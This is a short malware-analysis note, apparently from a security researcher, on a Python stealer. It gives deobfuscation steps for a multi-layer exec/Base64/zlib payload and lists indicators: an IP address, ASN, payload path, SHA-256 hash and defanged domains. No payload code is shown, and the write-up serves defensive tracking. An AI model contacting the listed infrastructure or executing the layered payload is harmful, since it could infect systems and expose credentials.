// All I did was clean this up a bit more, follow the IP addresses that are in the file, downloaded two separate payloads
// and then ran one of them through Cyberchef to get the resulting python script in the other file.
// Just needed to do Reverse by char -> Base64 decode -> Zlib inflate -> Find + replace `exec(_)(b'` and `'))` 
// about ~30-40 times.

Threat Actor Analysis - Stealer Identification

This came to my attention through a flagged comment in one of my feeds, which referenced the actor’s activity. The original poster provided a deobfuscated script, which I further analyzed to track down additional payloads. The encoded payload shown here, as encoded_payload.py, can be unwrapped with some basic techniques. Each layer of the obfuscation (about 40-50, iirc) will attempt to execute more code, so, obviously, don't let that happen. To reveal the payload, you can just do a routine as follows until you get to the plain text script underneath:

• Reverse the code
• Base64 decode it
• Strip the leading 'exec' + () and + b' characters
• Strip the trailing '))
• ZLIB inflate the payload
• Rinse and repeat.

Key Indicators

Primary Infrastructure

• Hostname: 45.128.52.14
• IP Address: 45.128.52.14
• Location: Los Angeles, CA, United States
• Subnet: 45.128.52.0/24 (31 hosts, 7 domains)
• PTR: vm3256625.stark-industries.solutions
• ASN: AS44477 (STARK INDUSTRIES SOLUTIONS LTD, GB)

Payload Observed

File: /main39_391.py Hash: ea3f78c1bab8c67c4b4a3d3e86941f2e65cb19b88275fd0e86c0e48d8cb348a5 Encoded Source: Retrieved from the same IP (45.128.52.14) Reference: The script is directly tied to the deobfuscated code shared in the flagged post.

Associated Domains The following domains resolve (or have previously resolved) to the same IP (45.128.52.14), suggesting they are part of the same infrastructure:

• game-x[.]news
• vasil[.]top
• sabtilamopaas[.]com
• univerzas[.]com
• strpe[.]icu
• ill-workers[.]online
• stockforecastadvisor[.]com

Further exploration of the ASN (AS44477) reveals a pattern of suspicious activity and potentially additional malicious domains.

The observed activity appears to be operated by a single threat actor or a small group. Based on the simplistic yet functional scripts and the overall infrastructure, I would categorize their approach as juvenile. However, their use of a high-volume ASN (AS44477) with dubious domain names and overlapping infrastructure warrants further monitoring.

Nvm, the Stark Industries thingy is a Cloud provider. It is not on-prem. Hence even the private IP may as well belong to the cloud.
